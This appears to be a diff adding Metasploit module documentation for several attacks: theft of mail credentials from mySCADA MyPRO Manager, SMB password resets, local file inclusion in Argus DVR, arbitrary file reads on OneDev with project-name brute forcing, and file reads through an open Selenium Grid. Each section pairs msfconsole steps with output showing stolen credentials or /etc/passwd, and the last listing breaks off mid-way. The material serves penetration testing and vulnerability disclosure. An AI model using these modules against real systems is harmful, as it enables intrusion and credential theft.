||||
|
||||
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_computer`:
|
||||
Writing a new `msDS-AllowedToActOnBehalfOfOtherIdentity` value using the computer account created by `admin/dcerpc/samr_account`:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/rbcd) > set DELEGATE_FROM DESKTOP-QLSTR9NW$
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
## Vulnerable Application
|
||||
|
||||
**Vulnerability Description**
|
||||
|
||||
This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured
|
||||
credentials for the mail server.
|
||||
|
||||
The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed,
|
||||
allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated
|
||||
remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865.
|
||||
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application.
|
||||
|
||||
One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail
|
||||
server that is configured by the product, which this module does.
|
||||
|
||||
Versions <= 1.3 are affected. CISA published [ICSA-25-044-16](https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16) to cover
|
||||
the security issues.
|
||||
|
||||
**Vulnerable Application Installation**
|
||||
|
||||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
|
||||
|
||||
**Successfully tested on**
|
||||
|
||||
- mySCADA MyPRO Manager 1.3 on Windows 11 (22H2)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
|
||||
3. Start `msfconsole` and run the following commands:
|
||||
|
||||
```
|
||||
msf6 > use auxiliary/admin/scada/mypro_mgr_creds
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP>
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
Running the module against MyPRO Manager v1.3 on Windows 11, should result in an output similar to the
|
||||
following:
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
|
||||
[*] Running module against 192.168.1.78
|
||||
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable.
|
||||
[+] Mail server credentials retrieved:
|
||||
[+] Host: smtp.example.com
|
||||
[+] Port: 993
|
||||
[+] Auth Type: login
|
||||
[+] User: user
|
||||
[+] Password: SuperS3cr3t!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format cracked_password
|
||||
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
|
||||
192.168.1.78 192.168.1.78 34022/tcp (http) user SuperS3cr3t! Password
|
||||
```
|
||||
@@ -0,0 +1,46 @@
|
||||
## Introduction
|
||||
|
||||
Allows changing or resetting users' passwords.
|
||||
|
||||
"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
|
||||
"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
|
||||
|
||||
Note that users can typically not reset their own passwords (unless they have very high privileges).
|
||||
|
||||
This module works with existing sessions (or relaying), especially for Reset use cases, wherein the target's password is not required.
|
||||
|
||||
## Actions
|
||||
|
||||
- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions). New AES kerberos keys will be generated.
|
||||
- `RESET_NTLM` - Reset the target's NTLM hash, without knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
|
||||
- `CHANGE` - Change the password, knowing the existing one. New AES kerberos keys will be generated.
|
||||
- `CHANGE_NTLM` - Change the password to a NTLM hash value, knowing the existing password. AES kerberos authentication will not work until a standard password change occurs.
|
||||
|
||||
## Options
|
||||
|
||||
The required options are based on the action being performed:
|
||||
|
||||
- When resetting a password, you must specify the `TARGET_USER`
|
||||
- When changing a password, you must specify the `SMBUser` and `SMBPass`, even if using an existing session (since the API requires both of these to be specified, even for open SMB sessions)
|
||||
- When resetting or changing a password, you must specify `NEW_PASSWORD`
|
||||
- When resetting or changing an NTLM hash, you must specify `NEW_NTLM`
|
||||
|
||||
**SMBUser**
|
||||
|
||||
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
|
||||
|
||||
**SMBPass**
|
||||
|
||||
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
|
||||
|
||||
**TARGET_USER**
|
||||
|
||||
For resetting passwords, the user account for which to reset the password. The authenticated account (SMBUser) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
|
||||
|
||||
**NEW_PASSWORD**
|
||||
|
||||
The new password to set for `RESET` and `CHANGE` actions.
|
||||
|
||||
**NEW_NTLM**
|
||||
|
||||
The new NTLM hash to set for `RESET_NTLM` and `CHANGE_NTLM` actions. This can either be an NT hash, or a colon-delimited NTLM hash.
|
||||
@@ -0,0 +1,46 @@
|
||||
## Vulnerable Application
|
||||
This module leverages an issue with how the `RESULTPAGE` parameter within `WEBACCCOUNT.cgi` handles file referencing and as a result is vulnerable to Local File Inclusion (LFI).
|
||||
|
||||
## Options
|
||||
To successfully read contents of the Windows file system you must set the full file path of the file you want to check using `TARGET_FILE` (not including the drive letter prefix).
|
||||
As a first run it is recommended to try leaking `Windows/system.ini` as a validation exercise on your first module run.
|
||||
|
||||
## Testing
|
||||
To setup a test environment, the following steps can be performed:
|
||||
1. Set up a Windows operating system (any OS that has C:\Windows\system.ini)
|
||||
2. Download the [Argus DVR 4 Software](https://download.cnet.com/argus-surveillance-dvr/3000-2348_4-10576796.html)
|
||||
3. Run the Argus software and a webpage running on port 8080 will appear. Take note of the machine's IP
|
||||
4. On your attacker machine follow the verification steps below.
|
||||
|
||||
## Verification Steps
|
||||
1. start msfconsole
|
||||
2. `use auxiliary/gather/argus_dvr4_lfi_cve_2018_15745`
|
||||
3. `set RHOSTS <TARGET_IP_ADDRESS>`
|
||||
4. `set TARGET_FILE Windows/system.ini`
|
||||
5. `run`
|
||||
|
||||
## Scenarios
|
||||
### Utilising Argus DVR 4 CVE-2018-15745 to Leak DVRParams.ini
|
||||
```
|
||||
msf6 > use auxiliary/gather/argus_dvr_4_lfi_cve_2018_15745
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set RHOSTS 192.168.1.15
|
||||
RHOSTS => 192.168.1.15
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > set TARGET_FILE ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
|
||||
TARGET_FILE => ProgramData/PY_Software/Argus Surveillance DVR/DVRParams.ini
|
||||
msf6 auxiliary(gather/argus_dvr_4_lfi_cve_2018_15745) > run
|
||||
[*] Running module against 192.168.1.15
|
||||
[*] Sending request to 192.168.1.15:8080 for file: ProgramData/PY_Software/Argus%20Surveillance%20DVR/DVRParams.ini
|
||||
[+] File retrieved successfully!
|
||||
[Main]
|
||||
ServerName=
|
||||
ServerLocation=
|
||||
ServerDescription=
|
||||
ReadH=0
|
||||
UseDialUp=0
|
||||
DialUpConName=
|
||||
DialUpDisconnectWhenDone=0
|
||||
DIALUPUSEDEFAULTS" checked checked
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,135 @@
|
||||
## Vulnerable Application
|
||||
|
||||
OneDev is a Git Server with CI/CD, kanban, and packages.
|
||||
This module exploits an unauthenticated arbitrary file read vulnerability (CVE-2024-45309), which affects OneDev versions <= 11.0.8.
|
||||
This vulnerability arises due to the lack of user-input sanitization of path traversal sequences `..` in the `ProjectBlobPage.java` file.
|
||||
|
||||
To exploit this vulnerability, a valid OneDev project name is required. If anonymous access is enabled on the OneDev server, any visitor
|
||||
can view existing projects without authentication.
|
||||
However, when anonymous access is disabled, an attacker who lacks prior knowledge of existing project names can use a brute-force approach.
|
||||
By providing a user-supplied wordlist, the module may be able to guess a valid project name and subsequently exploit the vulnerability.
|
||||
|
||||
## Installation
|
||||
|
||||
OneDev provides docker images for a quick setup process.
|
||||
A vulnerable version (`v11.0.8`) can be found [here](https://hub.docker.com/r/1dev/server/tags?name=11.0.8).
|
||||
|
||||
Installation instructions can be found [here](https://docs.onedev.io/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the OneDev application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/onedev_arbitrary_file_read`
|
||||
4. Set the `RHOSTS` and `RPORT` options as necessary
|
||||
5. Set the `TARGETFILE` option with the absolute path of the target file to read
|
||||
|
||||
If a valid project name is known:
|
||||
|
||||
6. Set the `PROJECT_NAME` option with the known project name
|
||||
7. Do: `run`
|
||||
8. If the file exists, the contents will be displayed to the user
|
||||
|
||||
If there is no information about existing projects:
|
||||
|
||||
6. Set the `PROJECT_NAMES_FILE` option with the absolute path of a wordlist that contains multiple possible values for a valid project name
|
||||
7. Do: `run`
|
||||
8. If a valid project name is found, the target file contents will be displayed to the user
|
||||
|
||||
## Options
|
||||
|
||||
### PROJECT_NAME
|
||||
A valid OneDev project name is required to exploit the vulnerability. If anonymous access is enabled on the OneDev server,
|
||||
any visitor can see the existing projects, and collect a valid project name. On the other hand, if anonymous access is disabled,
|
||||
the user needs to have previous knowledge of a valid project name or use the `PROJECT_NAMES_FILE` option to find one through brute force.
|
||||
|
||||
### PROJECT_NAMES_FILE
|
||||
Absolute path of a wordlist containing multiple possible values for valid project names. Once this option is set,
|
||||
the module will verify whether a given project exists for each word.
|
||||
|
||||
|
||||
### TARGETFILE
|
||||
Absolute file path of the target file to be retrieved from the OneDev server. Set as `/etc/passwd` by default.
|
||||
|
||||
### STORE_LOOT
|
||||
If set as `true`, the target file contents will be stored as loot. Set as `false` by default.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Example: Known project name or anonymous access enabled on OneDev 11.0.8
|
||||
|
||||
```
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
|
||||
RHOSTS => 192.168.1.10
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
|
||||
RPORT => 6610
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAME myproject
|
||||
PROJECT_NAME => myproject
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
|
||||
[*] Running module against 192.168.1.10
|
||||
|
||||
[+] Target file retrieved with success
|
||||
[*] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
|
||||
### Example: Unknown projects with anonymous access disabled on OneDev 11.0.8
|
||||
```
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RHOSTS 192.168.1.10
|
||||
RHOSTS => 192.168.1.10
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set RPORT 6610
|
||||
RPORT => 6610
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > set PROJECT_NAMES_FILE /home/server/wordlist.txt
|
||||
PROJECT_NAMES_FILE => /home/server/wordlist.txt
|
||||
msf6 auxiliary(gather/onedev_arbitrary_file_read) > run
|
||||
[*] Running module against 192.168.1.10
|
||||
|
||||
[*] Brute forcing valid project name ...
|
||||
[+] 192.168.1.10:6610 - Found valid OneDev project name: myproject
|
||||
[+] Target file retrieved with success
|
||||
[*] root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,299 @@
|
||||
## Vulnerable Application
|
||||
|
||||
If there is an open selenium web driver, a remote attacker can send requests to the victims browser.
|
||||
In certain cases this can be used to access to the remote file system.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* all version of open Selenium Server (Grid)
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
* selenium/standalone-edge:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `docker pull selenium/standalone-firefox:3.141.59`
|
||||
|
||||
2. `docker run -d -p 4444:4444 -p 7900:7900 --shm-size="2g" selenium/standalone-firefox:3.141.59`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/gather/selenium_file_read`
|
||||
4. Do: `run rhost=<rhost>`
|
||||
5. You should get a file content
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
### SCHEME (Required)
|
||||
|
||||
This is the scheme to use. Default is `file`.
|
||||
|
||||
### FILEPATH (Required)
|
||||
|
||||
This is the file to read. Default is `/etc/passwd`.
|
||||
|
||||
### BROWSER (Required)
|
||||
|
||||
This is the browser to use. Default is `firefox`.
|
||||
|
||||
### TIMEOUT (required)
|
||||
|
||||
This is the amount of time (in seconds) that the module will wait for the payload to be
|
||||
executed. Defaults to 75 seconds.
|
||||
|
||||
|
||||
## Scenarios
|
||||
### selenium/standalone-firefox:3.141.59 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 > use auxiliary/gather/selenium_file_read
|
||||
msf6 auxiliary(gather/selenium_file_read) > options
|
||||
|
||||
Module options (auxiliary/gather/selenium_file_read):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BROWSER firefox yes The browser to use (Accepted: firefox, chrome, MicrosoftEdge)
|
||||
FILEPATH /etc/passwd yes File to read
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 4444 yes The target port (TCP)
|
||||
SCHEME file yes The scheme to use
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TIMEOUT 75 yes Timeout for exploit (seconds)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4445
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.141.59 detected
|
||||
[*] Started session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (4a48aef3-9379-4cbe-9d6a-1ecc3176dc14). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.0.0-alpha-6-20200730 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4446
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (eb790e48-318a-4949-a7ff-8566f181a609).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
|
||||
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
|
||||
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:104:105:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:105:106:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (eb790e48-318a-4949-a7ff-8566f181a609). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.6 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4447
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (2b4d313e-6e42-4c33-8bc8-630103269ef7).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-timesync:x:101:101:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
|
||||
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
|
||||
messagebus:x:104:105::/nonexistent:/usr/sbin/nologin
|
||||
rtkit:x:105:106:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
pulse:x:106:107:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (2b4d313e-6e42-4c33-8bc8-630103269ef7). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-firefox:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4448
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (599a7d03-1eca-41f3-8726-3a192104dfc1).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
pulse:x:101:102:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
|
||||
|
||||
[*] Failed to delete the session (599a7d03-1eca-41f3-8726-3a192104dfc1). You may need to wait for the session to expire (default: 5 minutes) or manually delete the session for the next exploit to succeed.
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
### selenium/standalone-chrome:4.27.0 installed with Docker on Ubuntu 24.04
|
||||
```
|
||||
msf6 auxiliary(gather/selenium_file_read) > run rhost=192.168.56.16 rport=4453 BROWSER=chrome
|
||||
[*] Running module against 192.168.56.16
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[!] The service is running, but could not be validated. Selenium Grid version 4.x detected and ready.
|
||||
[*] Started session (363b104ba9d167f434518d3eb1add0c6).
|
||||
[+] /etc/passwd
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
seluser:x:1200:1201::/home/seluser:/bin/bash
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
messagebus:x:100:101::/nonexistent:/usr/sbin/nologin
|
||||
